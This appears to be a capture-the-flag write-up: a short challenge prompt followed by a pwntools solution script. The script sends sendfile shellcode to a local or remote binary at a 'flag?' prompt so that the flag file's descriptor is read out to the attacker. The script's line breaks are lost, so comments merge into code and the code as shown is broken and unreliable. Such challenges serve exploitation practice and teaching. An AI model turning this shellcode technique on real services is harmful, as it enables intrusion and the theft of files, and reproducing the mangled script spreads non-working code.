We've removed your flag. Good luck getting it back.
Solution
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgbreak fopencontinue'''.format(**locals())# Binary filenameexe ='./app'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Save the flag to filewrite('flag.txt', 'CTF{fake_flag_for_testing}')# Start programio =start()# https://www.tutorialspoint.com/unix_system_calls/sendfile.htmshellcode =asm(shellcraft.sendfile(1, 3, 0, 4096))# out_fd is stout (1), in_fd is (3) locally and (5) remotelywrite('payload', shellcode)# Send the payloadio.sendlineafter('flag?', shellcode)# Got Shell?io.interactive()